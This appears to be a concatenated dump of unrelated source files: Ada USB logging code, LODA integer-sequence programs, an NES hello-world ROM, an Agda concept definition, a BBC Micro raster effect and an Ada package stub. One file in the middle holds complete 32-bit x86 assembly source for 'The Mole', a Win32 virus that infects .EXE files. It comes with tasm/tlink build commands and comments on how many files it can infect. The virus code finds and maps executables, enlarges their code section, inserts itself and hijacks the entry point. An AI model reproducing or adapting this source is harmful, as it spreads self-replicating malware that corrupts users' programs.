-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
package body USB.Logging.Device is
---------
-- Log --
---------
procedure Log (Evt : Log_Event) is
begin
Event_Buffer (Index) := Evt;
Index := Index + 1;
end Log;
---------
-- Log --
---------
procedure Log (Evt : USB.HAL.Device.UDC_Event) is
begin
ID := ID + 1;
Log (Log_Event'(Kind => UDC_Evt,
ID => ID,
UDC_Event => Evt));
end Log;
-------------------
-- Log_MIDI_Init --
-------------------
procedure Log_MIDI_Init is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_Init,
ID => ID));
end Log_MIDI_Init;
---------------------
-- Log_MIDI_Config --
---------------------
procedure Log_MIDI_Config is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_Config,
ID => ID));
end Log_MIDI_Config;
-------------------
-- Log_MIDI_Send --
-------------------
procedure Log_MIDI_Send is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_Send,
ID => ID));
end Log_MIDI_Send;
----------------------
-- Log_MIDI_Receive --
----------------------
procedure Log_MIDI_Receive is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_Receive,
ID => ID));
end Log_MIDI_Receive;
---------------------
-- Log_MIDI_Out_TC --
---------------------
procedure Log_MIDI_Out_TC is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_Out_TC,
ID => ID));
end Log_MIDI_Out_TC;
--------------------
-- Log_MIDI_In_TC --
--------------------
procedure Log_MIDI_In_TC is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_In_TC,
ID => ID));
end Log_MIDI_In_TC;
-----------------------
-- Log_MIDI_Setup_TX --
-----------------------
procedure Log_MIDI_Setup_TX is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_Setup_TX,
ID => ID));
end Log_MIDI_Setup_TX;
-----------------------
-- Log_MIDI_Setup_RX --
-----------------------
procedure Log_MIDI_Setup_RX is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_Setup_RX,
ID => ID));
end Log_MIDI_Setup_RX;
---------------------------
-- Log_MIDI_RX_Discarded --
---------------------------
procedure Log_MIDI_RX_Discarded is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_RX_Discarded,
ID => ID));
end Log_MIDI_RX_Discarded;
---------------------------
-- Log_MIDI_TX_Discarded --
---------------------------
procedure Log_MIDI_TX_Discarded is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_TX_Discarded,
ID => ID));
end Log_MIDI_TX_Discarded;
---------------------------
-- Log_MIDI_Write_Packet --
---------------------------
procedure Log_MIDI_Write_Packet is
begin
ID := ID + 1;
Log (Log_Event'(Kind => MIDI_Write_Packet,
ID => ID));
end Log_MIDI_Write_Packet;
end USB.Logging.Device;
|
oeis/249/A249992.asm | neoneye/loda-programs | 11 | 105173 | ; A249992: Expansion of 1/((1+x)*(1+2*x)*(1-3*x)).
; 1,0,7,6,49,84,379,882,3157,8448,27391,78078,242425,710892,2165443,6430794,19423453,58008216,174548935,522598230,1569891841,4705481220,14124832267,42357719586,127106713189,381253030704,1143893309839,3431411494062,10294771353097,30883240317468,92651868436051,277951310340858,833862520957165,2501570383002312,7504745508745303,22514167806759174,67542640859230993,202627647699786036,607883492855171995,1823649379053888210,5470950336184920181,16412846610508249440,49238548627617770527
add $0,2
seq $0,91000 ; Number of closed walks of length n on the Petersen graph.
div $0,2
|
tests/rom/hello_world.asm | mihyaeru21/nes | 0 | 94476 | ;----------------------------------------------------------------------------
; NES Sample1 "HELLO, WORLD!"
; Copyright (C) 2007, Tekepen
;----------------------------------------------------------------------------
.setcpu "6502"
.autoimport on
; iNESヘッダ
.segment "HEADER"
.byte $4E, $45, $53, $1A ; "NES" Header
.byte $02 ; PRG-BANKS
.byte $01 ; CHR-BANKS
.byte $01 ; Vetrical Mirror
.byte $00 ;
.byte $00, $00, $00, $00 ;
.byte $00, $00, $00, $00 ;
.segment "STARTUP"
; リセット割り込み
.proc Reset
sei
ldx #$ff
txs
; スクリーンオフ
lda #$00
sta $2000
sta $2001
; パレットテーブルへ転送(BG用のみ転送)
lda #$3f
sta $2006
lda #$00
sta $2006
ldx #$00
ldy #$10
copypal:
lda palettes, x
sta $2007
inx
dey
bne copypal
; ネームテーブルへ転送(画面の中央付近)
lda #$21
sta $2006
lda #$c9
sta $2006
ldx #$00
ldy #$0d ; 13文字表示
copymap:
lda string, x
sta $2007
inx
dey
bne copymap
; スクロール設定
lda #$00
sta $2005
sta $2005
; スクリーンオン
lda #$08
sta $2000
lda #$1e
sta $2001
; 無限ループ
mainloop:
jmp mainloop
.endproc
; パレットテーブル
palettes:
.byte $0f, $00, $10, $20
.byte $0f, $06, $16, $26
.byte $0f, $08, $18, $28
.byte $0f, $0a, $1a, $2a
; 表示文字列
string:
.byte "HELLO, WORLD!"
.segment "VECINFO"
.word $0000
.word Reset
.word $0000
; パターンテーブル
.segment "CHARS"
.incbin "character.chr"
|
src/Web/Semantic/DL/Concept.agda | agda/agda-web-semantic | 9 | 16149 | open import Web.Semantic.DL.Role using ( Role )
open import Web.Semantic.DL.Signature using ( Signature ; CN ; RN )
module Web.Semantic.DL.Concept where
infixr 9 ∀[_]_
infixr 8 ∃⟨_⟩_
infixl 7 _⊓_
infixl 6 _⊔_
data Concept (Σ : Signature) : Set where
⟨_⟩ : (c : CN Σ) → Concept Σ
¬⟨_⟩ : (c : CN Σ) → Concept Σ
⊤ : Concept Σ
⊥ : Concept Σ
_⊓_ : (C D : Concept Σ) → Concept Σ
_⊔_ : (C D : Concept Σ) → Concept Σ
∀[_]_ : (R : Role Σ) (C : Concept Σ) → Concept Σ
∃⟨_⟩_ : (R : Role Σ) (C : Concept Σ) → Concept Σ
≤1 : (R : Role Σ) → Concept Σ
>1 : (R : Role Σ) → Concept Σ
neg : ∀ {Σ} (C : Concept Σ) → Concept Σ
neg ⟨ c ⟩ = ¬⟨ c ⟩
neg ¬⟨ c ⟩ = ⟨ c ⟩
neg ⊤ = ⊥
neg ⊥ = ⊤
neg (C ⊓ D) = neg C ⊔ neg D
neg (C ⊔ D) = neg C ⊓ neg D
neg (∀[ R ] C) = ∃⟨ R ⟩ neg C
neg (∃⟨ R ⟩ C) = ∀[ R ] neg C
neg (≤1 R) = >1 R
neg (>1 R) = ≤1 R
|
src/fx-stretch-grid.asm | kieranhj/funky-fresh | 0 | 973 | <filename>src/fx-stretch-grid.asm
\ -*- mode:beebasm -*-
\ ******************************************************************
\ * VERTICAL STRETCH ON TOP OF FREQUENCY GRID FX
\ ******************************************************************
\\ TODO: Describe the FX and requirements.
\\ Describe the track values used:
\\ rocket_track_zoom => zoom factor [0-63] <- 1x to 10x height
\\ rocket_track_y_pos => y position of middle line [0-127] <- middle of screen is 63
\ ******************************************************************
\ Update FX
\
\ The update function is used to update / tick any variables used
\ in the FX. It may also prepare part of the screen buffer before
\ drawing commences but note the strict timing constraints!
\
\ This function will be called during vblank, after any system
\ modules have been polled.
\
\ The function MUST COMPLETE BEFORE TIMER 1 REACHES 0, i.e. before
\ raster line 0 begins. If you are late then the draw function will
\ be late and your raster timings will be wrong!
\ ******************************************************************
.fx_stretch_grid_update
{
jsr fx_vertical_stretch_update
lda dv:sta fx_stretch_grid_dv_LO+1
lda dv+1:sta fx_stretch_grid_dv_HI+1
jmp fx_frequency_update_grid
}
\\ TODO: Make this comment correct for this framework!
\ ******************************************************************
\ Draw FX
\
\ The draw function is the main body of the FX.
\
\ This function will be exactly at the start* of raster line 0 with
\ a stablised raster. VC=0 HC=0|1 SC=0
\
\ This means that a new CRTC cycle has just started! If you didn't
\ specify the registers from the previous frame then they will be
\ the default MODE 0,1,2 values as per initialisation.
\
\ If messing with CRTC registers, THIS FUNCTION MUST ALWAYS PRODUCE
\ A FULL AND VALID 312 line PAL signal before exiting!
\ ******************************************************************
\\ Limited RVI
\\ Display 0,2,4,6 scanline offset for 2 scanlines.
\\ <--- 102c total w/ 80c visible and hsync at 98c ---> <2c> ..13x <2c> = 128c
\\ Plus one extra for luck! (i.e. we wait for 13 but C9 counts 14 in total.)
\\ R9 = 13 + current - next
\\
\\ Assumes R4=0, i.e. one row per CRTC cycle.
\\ Scanline 0 has normal R0 width 128c.
\\ Must set R9 before final scanline to 13 + current - next. eg. R9 = 13 + 0 - 2 = 11
\\ Set scanline 1 to have width 102c.
\\ At 102c set R0 width to 2c and skip remaining 26c.
\\ At 0c reset R0 width to 128c.
\\
\\ Select CRTC register 0, i.e. lda #0:sta &fe00
\\
\\ cycles --> 94 96 98 100 102 104 106 108 110 112 114 116 118 120 122 124 126 0
\\ lda.sta..........WAIT_CYCLES 18 ..............................lda..sta ...........|
\\ #1 &fe01 #127 &fe01
\\ scanline 1 2 3 4 5 6 7 8 9 10 11 xx 0 1 2
\\ |
\\ --> missed due to end of CRTC frame +
\\
\\ NB. There is no additional scanline if this is not the end of the CRTC frame.
.fx_stretch_grid_draw
{
\\ <=== HCC=0 (scanline=-2)
\\ Update v <-- could be done in update.
clc:lda v:adc dv:sta v ; 11c
lda v+1:adc dv+1:sta v+1 ; 9c
\\ 20c
\\ Row 1 screen start
tax ; 2c
lda #13:sta &fe00 ; 8c
lda fx_stretch_vram_table_LO, X ; 4c
sta &fe01 ; 6c
lda #12:sta &fe00 ; 8c
lda fx_stretch_vram_table_HI, X ; 4c
sta &fe01 ; 6c
\\ 40c
\\ Row 1 scanline
lda #9:sta &fe00 ; 8c
lda v+1:asl a:and #6 ; 7c
\\ 2-bits * 2
tax ; 2c
eor #&ff ; 2c
sec ; 2c
adc #13 ; 2c
clc ; 2c
adc prev_scanline ; 3c
\\ R9 must be set before final scanline of the row.
sta &fe01 ; 6c
stx prev_scanline ; 3c
\\ 35c
WAIT_CYCLES 21
ldy #0 ; 2c
\\ <=== HCC=118 (scanline=-2)
FOR stripe,0,7,1
lda vgc_freq_array+stripe, Y ; 4c
ora #&80+(stripe*&10) ; 2c column <= could factor out?
sta &fe21 ; 4c
NEXT
\\ 10c * 8 = 80c
\\ <== HCC=70 (scanline=odd) so that colour is set before final stripe displayed.
\\ Set R0=101 (102c)
stz &fe00 ; 6c
lda #101:sta &fe01 ; 8c
WAIT_CYCLES 10
\\ At HCC=102 set R0=1.
lda #1:sta &fe01 ; 8c
\\ <=== HCC=102
\\ Burn R0=1 scanlines.
lda #15:sta grid_row_count ; 5c
clc ; 2c
ldx #4 ; 2c
WAIT_CYCLES 9
\\ At HCC=0 set R0=127
lda #127:sta &fe01 ; 8c
\\ <=== HCC=0 (scanline=0)
stx &fe00 ; 6c
stz &fe01 ; 6c
\\ Now 2x scanlines per loop.
.char_row_loop
{
\\ Update v
lda v
.*fx_stretch_grid_dv_LO
adc #0:sta v ; 8c
lda v+1
.*fx_stretch_grid_dv_HI
adc #0:sta v+1 ; 8c
\\ 16c
\\ Row N+1 screen start
tax ; 2c
lda #13:sta &fe00 ; 8c
lda fx_stretch_vram_table_LO, X ; 4c
sta &fe01 ; 6c
lda #12:sta &fe00 ; 8c
lda fx_stretch_vram_table_HI, X ; 4c
sta &fe01 ; 6c
\\ 38c
\\ NB. Must set R9 before final scanline of the row!
\\ Row N+1 scanline
lda #9:sta &fe00 ; 8c
lda v+1:asl a:and #6 ; 7c
\\ 2-bits * 2
tax ; 2c
eor #&ff ; 2c
sec ; 2c
adc #13 ; 2c
clc ; 2c
adc prev_scanline ; 3c
sta &fe01 ; 6c
stx prev_scanline ; 3c
\\ 37c
lda grid_row_count ; 3c
cmp #1 ; 2c
bne colour_path
; 2c
jmp set_black_palette ; 3c
.colour_path
; 3c
WAIT_CYCLES 7
\\ 15c
\\ <=== HCC=118 (scanline=even)
FOR stripe,0,7,1
lda vgc_freq_array+stripe, Y ; 4c
ora #&80+(stripe*&10) ; 2c column <= could factor out?
sta &fe21 ; 4c
NEXT
\\ 10c * 8 = 80c
.^return_from_black_palette
\\ <== HCC=70 (scanline=odd) so that colour is set before final stripe displayed.
\\ Set R0=101 (102c)
stz &fe00 ; 6c
lda #101:sta &fe01 ; 8c
WAIT_CYCLES 8
clc ; 2c
\\ At HCC=102 set R0=1.
lda #1:sta &fe01 ; 8c
\\ <=== HCC=102
\\ Burn R0=1 scanlines.
\\ Increment freq_array index every 30 scanlines.
{
dec grid_row_count ; 5c
bne alt_path ; jump away and back.
; 2c
tya:adc #8:tay ; 6c
lda #15 ; 2c
sta grid_row_count ; 3c
\\ 18c
}
.^return_from_alt_path
\\ At HCC=0 set R0=127
lda #127:sta &fe01 ; 8c
\\ <=== HCC=0 (scanline=even)
clc ; 2c
dec row_count ; 5c
beq scanline_last ; 2c
jmp char_row_loop ; 3c
}
.scanline_last
\\ Currently at scanline 2+118*2=238, need 312 lines total.
\\ Remaining scanlines = 74 = 37 rows * 2 scanlines.
lda #4: sta &FE00
lda #36: sta &FE01
\\ R7 vsync at scanline 272 = 238 + 17*2
lda #7:sta &fe00
lda #17:sta &fe01
\\ If prev_scanline=6 then R9=7
\\ If prev_scanline=4 then R9=5
\\ If prev_scanline=2 then R9=3
\\ If prev_scanline=0 then R9=1
{
lda #9:sta &fe00
clc
lda #1
adc prev_scanline
sta &fe01
}
\\ Row 31
WAIT_SCANLINES_ZERO_X 2
\\ R9=1
lda #9:sta &fe00
lda #1:sta &fe01
lda #0:sta prev_scanline
rts
.alt_path ; 8c
WAIT_CYCLES 7
jmp return_from_alt_path ; 3c
\\ 18c
.set_black_palette ; 10c
FOR stripe,0,7,1
lda #&80+(stripe*&10)+PAL_black ; 2c
sta &fe21 ; 4c
NEXT
\\ 6c * 8 = 48c
WAIT_CYCLES 34
jmp return_from_black_palette ; 3c
\\ 95c
}
|
MSDOS/Virus.MSDOS.Unknown.mole.asm | fengjixuchui/Family | 3 | 166385 | <gh_stars>1-10
;The Mole by Murkry\ikx
;A small win32 virus that uses memmap to expand the code section of a
;.exe then place its code there. Does not work on some Win98 files since
;MS in its infinite wisdom has made file aligment 1000h instead of 200h
;of course this makes this type of virus redunant since you do not need
;to expand the section odds are the file will have 400-800h bytes free anyway
;so the day of cavity infectors has come in the form of Win98 but sadly
;this virus does not infect Win98 type files. But it does infect WinNT
;A relative small change in code should rectify this.
;if the file infect mask is changed to *.dll it will work and if then
;return to *.exe it returns. This would be a intersting change for other
;students of vx to explore.
;To assemble
;tasm32 /ml /m3 mole;
;tlink32 /Tpe /aa /c /x mole,mole,, import32.lib,
;Tested in NT and Win95 works very well
;size just under 400h to get the date resest and control attributes
;it would need to be bigger say 600h;
;A quick survey off 30 PE file in a win95 directory shows
; possible percent of files that can be infected versus size of
;virus of this type
;
; 400h 83%
; 600h 60%
; 800h 50%
; a00h 37%
; c00h 20%
ViriiSize equ 400h
.386
.model flat,stdcall
extrn GetFileSize:PROC
extrn ExitProcess:PROC
extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn CloseHandle:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn SetEndOfFile:PROC
FILE_MAP_COPY EQU 000000001h
FILE_MAP_WRITE EQU 000000002h
FILE_MAP_READ EQU 000000004h
FILE_MAP_ALL_ACCESS EQU 0000f001fh
INVALID_HANDLE_VALUE EQU -1
FILE_ATTRIBUTE_NORMAL EQU 000000080h
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
OPEN_EXISTING equ 3
PAGE_NOACCESS EQU 000000001h
PAGE_READONLY EQU 000000002h
PAGE_READWRITE EQU 000000004h
PAGE_WRITECOPY EQU 000000008h
PAGE_EXECUTE EQU 000000010h
PAGE_EXECUTE_READ EQU 000000020h
PAGE_EXECUTE_READWRITE EQU 000000040h
PAGE_EXECUTE_WRITECOPY EQU 000000080h
;Header Offsets
PEHeaderSze EQU 0F8h
NumOfSects EQU 06h
SizeOfCode equ 1ch
ImageSze equ 50h
;section offsets
VSize equ 8h
VAddress equ 0Ch
SzeRawData equ 10h
PtrRawData equ 14h
HdrSze equ 28h
Find_data equ 139h
Find_data_name equ 2ch ;where in the structure is the name
FileSizeH equ 14h ;if not zero get out
Filesize equ 20h ;file size low
;find_file db Find_data dup(00) ;size of the find data
;-------------------------------------------
;how the stack is used
SHandle equ 0 ;Handle for the search routine
FHandle equ SHandle + 4 ;Handle for open file
CMHandle equ FHandle + 4 ;CreateMFileHandle
MHandle equ CMHandle + 4 ;Mhandle also address of where it is
FindFile equ MHandle + 4
CFile equ FindFile + Find_data + 4
CFMap equ CFile + 4
MapV equ CFMap + 4
CloseH equ MapV + 4
FindFirst equ CloseH + 4
FindNext equ FindFirst + 4
CloseFnd equ FindNext + 4
UnMapV equ CloseFnd + 4
SetFEnd equ UnMapV + 4
Flag equ SetFEnd + 3
GetProc equ Flag + 4
K32Load Equ GetProc + 4
HostPE Equ K32Load + 4
HostLoad equ HostPE + 4
Delta equ HostLoad + 4
WorkSpace equ GetProc
;-------------------------------------------
.data ;the data area
dummy dd ? ;this needs some data
;or it won't compile ...easily
;-------------------------------------------
.code
Mole:
db 68h
HostEip dd offset fini - 00400000h
Pusha
call GetAddie ;this leaves some data on the stack
;which mole use's
D1: sub esp,WorkSpace
mov ebp,esp
sub dword ptr[ebp + Delta],offset D1 - Offset Mole
;this gives mole its location in memory
;set return up to old eip
mov eax,dword ptr [ebp + HostPE]
add dword ptr [ebp + Delta + 4 + (8*4)],eax
Call GetFunctions ;With the k32 module
;and GetProc we can now get all
;the Fuctions we want
;FINDFIRST
lea eax,[ebp + FindFile]
push eax
mov eax,[ebp + Delta]
;add eax, offset FileN - Offset Mole
add eax, offset Fmask - Offset Mole
push eax
call dword ptr [ebp + FindFirst]
mov dword ptr [ebp + SHandle],eax
inc eax
jz NoFiles
dec eax
TryItAgain:
mov byte ptr [ebp + Flag],0 ;assume too small
call Map_Infect?
cmp byte ptr[ebp + Flag],0
jz FindNextOne
add dword ptr [Ebp + FindFile + Filesize],ViriiSize
call Map_Infect?
;call Modify
FindNextOne:
;FINDNEXT
lea eax,[ebp + FindFile]
push eax
mov eax,[ebp + SHandle]
push eax
call dword ptr [ebp + FindNext]
or eax,eax
jnz TryItAgain
NoFiles:
lea eax,[ebp + FindFile]
push eax
Call dword ptr [ebp + CloseFnd]
ADD ESP,Delta + 4 ;restore all
Popa
ret ;return to the host
;--------------------------------------------------------------
Map_Infect?:
xor eax,eax
cdq ;edx = 0
push eax ;handle template
;push FILE_ATTRIBUTE_NORMAL ;attr flags
mov dl,80h
push edx
push large OPEN_EXISTING ;creat flags
push eax ;security issue
push eax ;share mode
push GENERIC_READ or GENERIC_WRITE ;r\w access
Lea eax,[ebp + FindFile + Find_data_name]
push eax ;file name
call dword ptr [ebp + CFile] ;CreateFileA
inc eax ;smaller than cmp eax,-1, je...
jz FileError ;
dec eax ;
;-------------------------------------------------------------
cdq ;get edx = 0
mov [ebp + FHandle],eax
;-------------------------------------------------------
;CreateFileMap object
;This is what will determine how big the file is
;when this is done the file size will be changed
;and of course the date is changed
push edx ;fileMap name
push dword ptr [Ebp + FindFile + Filesize]
push edx ;file size high not use for this
push large PAGE_READWRITE ;Protection Rights R/W etc
push edx ;security attr
push eax ;File Handle
call dword ptr [ ebp + CFMap ] ;CreateFileMappingA
cdq ;again zero edx
;why here well ecx usual contains a
;value like C??????? which when xchg
;to eax when you us cdq edx = -1 not 0
xchg eax,ecx
jecxz MapHandleError
;-------------------------------------------------------------
mov [ebp + CMHandle],ecx ;2nd FileMapHandle
;-------------------------------------------------------------
;Map the View
push edx ;size to map if 0 whole file
;in win95 its always does whole file
push edx ;where it file to start the mapping
;low word
push edx ;high word
push large FILE_MAP_WRITE ;Acces rights
push ecx ;Map Handle
call dword ptr [ebp + MapV] ;MapViewOfFile
xchg eax,ecx
jecxz ErrorFileMap
;---------------------------------------------------------------------------
mov dword ptr [ebp + MHandle],ecx ;3rd Address of where its mapped
;---------------------------------------------------------------------------
;check for the oking of it then jmp out or back to close
;then reopen
;
MOV EDX,ECX
MOV Ebx,[EDX + 3CH] ;WHERE THE PE
cmp word ptr [ ebx+ edx],'EP'
jne NoRoom
LEA esi,[ebx + PEHeaderSze + edx] ; esi = first Section Entry
;check for the section char is
;set for code
test byte ptr [esi + 24h],20h
JE NoRoom
;FindOut if there is room to expand the file
mov ecx,[ESI + VAddress]
add ecx,[ESI + SzeRawData]
mov Eax,[ESI + VAddress + HdrSze ]
sub Eax,Ecx
cmp eax,ViriiSize
jl NoRoom
cmp byte ptr [ebp + Flag],0
jne Roomie
inc byte ptr [ebp + Flag]
jmp GoodOpenSize
Roomie:
call Infect
NoRoom:
GoodOpenSize: ;if called close file and get ready to infect
push dword ptr [ebp + MHandle]
call dword ptr [ebp + UnMapV] ;UnmapViewOfFile
;-------------------------------------------------------------
ErrorFileMap:
push dword ptr [ebp + CMHandle] ;close file map handle
call dword ptr [ebp + CloseH] ;CloseHandle ;on stack Handle to the Map object
MapHandleError:
push dword ptr [ebp + FHandle]
call dword ptr [ebp + CloseH] ;file CloseHandle ;on stack is the File open
FileError:
ret
;-----------------------------------------------------------------
Infect:
;Ok do the move
push esi
mov edx,[ebp + MHandle]
mov eax,[esi + PtrRawData]
add eax,[esi + SzeRawData] ;where this section ends in the file
mov ecx,dword ptr [Ebp + FindFile + Filesize]
dec ecx
sub ecx,ViriiSize
lea esi,[edx + ecx] ;where to move the data from
lea edi,[edx + ecx + ViriiSize ] ;to
inc ecx
sub ecx,eax ;how much we move for 800h
std ;move backwards
rep movsb ;move it
cld ;move forward again
xchg edi,esi
inc edi
pop esi
push esi
mov eax,[ebp + MHandle]
add eax,[eax + 3ch] ;points to PE
push eax
mov eax,[eax+28h] ;entry point RVA (Eip)
mov byte ptr [edi],68h ;creates the push for the ret
mov dword ptr [edi + 1],eax ;to return to host
pop eax
mov ecx,[ebp + MHandle]
add ecx,[esi + PtrRawData]
push edi
sub edi,ecx
add edi,[esi + VAddress]
;inc edi
mov dword ptr [eax +28h],edi ;update the eip address
pop edi
lea edi,[edi + 5] ;maybe 5 incs are better
mov esi,dword ptr [ebp + Delta]
lea esi,[esi + 5]
mov ecx,offset fini - offset Mole
rep movsb
pop esi ;restore pointer to the section entries
;update the .code area size in the section
add dword ptr [esi + SzeRawData ],ViriiSize
mov eax,dword ptr [esi + SzeRawData]
;update this as well be better if we check if it needed to be
;enlarged???
mov dword ptr [esi + VSize],eax
;not updating the image size since we are not
;becoming bigger in memory aligment only file alignment
;in the header PE
;add dword ptr [edx + ebx + ImageSze],ViriiSize
;Do update the code size in the Header area
add dword ptr [edx + ebx + SizeOfCode],ViriiSize
;now update the rest of the sections
Movzx ecx,word ptr [edx + ebx + NumOfSects]
dec ecx
;update the section entries pter to raw data as long as not 0
NextSect:
add esi, HdrSze
cmp dword ptr [esi + PtrRawData],0
je ZPter
add dword ptr [esi + PtrRawData],ViriiSize
ZPter: loop NextSect
ret
;--------------------------------------------------------------------------
;Used For GetAddie
K32 equ 0
BASE equ K32 + 4
Limit equ BASE + 4
AddFunc equ Limit + 4
AddName equ AddFunc + 4
AddOrd equ AddName+4
Nindex equ AddOrd + 4
WorkSp equ Nindex + 4
GetPAdd equ WorkSp + 4
RetAdd Equ GetPAdd + 4
EdataLoc equ 78h
IdataLoc equ 80h
GetAddie:
call here
here: pop esi
Call GetPE ;eax,esi
jne GetAddie_fini
push eax ;Address of PE header for this module
push esi ;Load address of Module
Call GetK32API
;On return Esi = a API call in Kernel32
Call GetPE ;eax,esi
push ESI ;Module address of K32
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
push large 0 ;hold the return info
Call GetGetProcessAdd
push dword ptr [esp + 10h]
GetAddie_fini:
ret
;--------------------------------------------------------------
GetGetProcessAdd:
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
;on return
;on the stack is the Address
sub esp,WorkSp
mov ebx,ebp
mov ebp,esp
Pusha
mov dword ptr[ esp+ 8],ebx
mov [ebp + K32],Esi
mov ebx,esi
mov eax,[eax + EdataLoc] ;gets us the Edata offset
lea esi,[eax + ebx + 10h] ;pointer to base
lea edi,[ebp+BASE]
lodsd
;mov [ebp + BASE],eax ;save base
stosd
lodsd ;total number of exported functions
;by name and ordinal
lodsd ;the functions exported by name
;mov [ebp +Limit],eax ;this is how far its safe to look
stosd
lodsd
add eax,ebx
;mov [ebp + AddFunc],eax
stosd
lodsd
add eax,ebx
;mov [ebp + AddName],eax
stosd
lodsd
add eax,ebx
;mov [ebp + AddOrd],eax
stosd
LookLoop:
mov esi,[ebp + AddName]
mov [EBP+Nindex],esi
mov edi,ebx ;get the load Add of K32
add edi,[esi]
xor ecx,ecx
TryAgain:
;find GetProcAddress
cmp [edi],'PteG'
jne NextOne
cmp [edi+4],'Acor'
jne NextOne
cmp [edi+8],'erdd'
jne NextOne
cmp word ptr[edi+0Ch],'ss'
jne NextOne
cmp byte ptr [edi+0Eh],00
jne NextOne
jmp GotGetProcAdd
NextOne:
inc ecx
cmp ecx,[ebp + Limit]
jge NotFound1
add dword ptr [ebp + Nindex],4
mov ESI,[EBP+Nindex]
mov edi,[esi]
add edi,ebx
jmp TryAgain
GotGetProcAdd:
;ok we have the index into the name array use this to get
; the index into the ord array
;
shl ecx,1 ;*2 for a word array
mov esi,[ebp + AddOrd]
add esi,ecx ;move to the correct spot in the array
movzx eax,word ptr [esi]
;ax = ordinal value
shl eax,2 ;*4
mov esi,[ebp + AddFunc]
add esi,eax
mov edi, dword ptr [esi]
add edi,ebx ;got the address of it
xchg eax,edi
mov dword ptr [ebp + GetPAdd],eax
jmp OkFound
NotFound1:
xor eax,eax
OkFound:
popa
add esp,WorkSp
ret
;--------------------------------------------------------------
;ok at this point we have
;esi = to the load address of the program
;eax = address to the PE header now using this get the .idata area
;rather than use the .IDATA section we look for the more dependable
;idata entry in the idatrva section which is offset 80h into the PE header
GetK32API:
push ebx
mov ebx,dword ptr [eax + IdataLoc]
add ebx,esi
;Ebx now points to the import data table
NextDll:
cmp dword ptr [ebx+0ch],0
je NoIdataLeft
lea eax,[ebx+0ch]
mov eax,[eax]
cmp dword ptr [eax+esi],'NREK'
jne NotFound
cmp dword ptr [eax+esi+4],'23LE'
jne NotFound
mov eax,[ebx+10h]
mov eax,[eax+esi]
;next line is needed only in debug td32
;only in win95 not Winnt 4.0 at least so far
; mov eax,[eax+1]
xchg eax,esi
pop ebx
ret
NoIdataLeft:
xor eax,eax
pop ebx
ret
NotFound:
add ebx,14h
jmp NextDll
;---------------------------------------------------------
;Routine that will , given the address within a .exe in memory
;track back and find the MZ header then using this info one can
;find the Kernel32 (as long as the exe imports a kernel32 function
; on input
;esi = the address to start looking at
;on exit
;esi = the address of the MZ header
;eax = the address of the PE header
GetPE:
SetupSEH:
push offset FindExcept
push dword ptr fs:[0]
mov fs:[0],esp
LoopFind:
and esi,0FFFFF000h
pusha
lodsw
cmp ax,'ZM'
je Found
popa
sub esi,1000h
jmp LoopFind
FindExcept:
;Some Exception occured assume "DEAD" area, reset and continue
mov eax,[esp +08h]
lea esp,[eax - 20h]
popa ;restores our "REGS" esi mainly
pop dword ptr fs:[0] ;restore old handler
add esp,4 ;remove last bit of hanlder
sub esi,1000h ;Get set for next page to look at
jmp SetupSEH
Found:
popa ;esi = out MZ header
pop dword ptr fs:[0]
add esp,4
Lea eax,[esi + 3ch]
mov eax,[eax]
add eax,esi
cmp word ptr ds:[eax],'EP'
ret
;---------------------------------------------------------------
GetFunctions:
Mov esi,[ebp+ Delta]
add esi,offset Funct_List - Offset Mole
Lea edi,dword ptr [ebp + CFile]
;mov ecx,9 ;*
xor ecx,ecx
mov cl,9
startGetLoop:
push ecx
push Esi ;function name
Push dword ptr [ ebp + K32Load] ;dll
call dword ptr [ebp + GetProc]
stosd
pop ecx
add esi,13h ;get next name
Loop startGetLoop
ret
;---------------------------------------------------------------
;Data for The Mole
Funct_List:
db "CreateFileA",0 ;12
Fmask db "*.EXE",0 ;5
db 1 dup(90h)
db "CreateFileMappingA",0 ;19
db "MapViewOfFile",0 ;14
db 5 dup(90h)
db "CloseHandle",0 ;12
db 7 dup(90h)
db "FindFirstFileA",0 ;15
db 4 dup(90h)
db "FindNextFileA",0 ;14
db 5 dup(90h)
db "FindClose",0 ;10
db 9 dup(90h)
db "UnmapViewOfFile",0 ;16
db 3 dup(90h)
db "SetEndOfFile",0 ;13
;db 6 dup(90h)
db 'Murkry\IKX'
;=========================================================================
fini:
push LARGE -1
call ExitProcess ;this simply terminates the program
end Mole
|
programs/oeis/033/A033399.asm | karttu/loda | 1 | 101470 | ; A033399: [ 79/n ].
; 79,39,26,19,15,13,11,9,8,7,7,6,6,5,5,4,4,4,4,3,3,3,3,3,3,3,2,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0
add $0,1
mov $1,79
div $1,$0
|
1-base/lace/source/events/interface/lace-subject.ads | charlie5/lace | 20 | 7129 | <reponame>charlie5/lace<gh_stars>10-100
with
lace.Event,
lace.Observer;
limited
with
lace.Event.Logger;
package lace.Subject
--
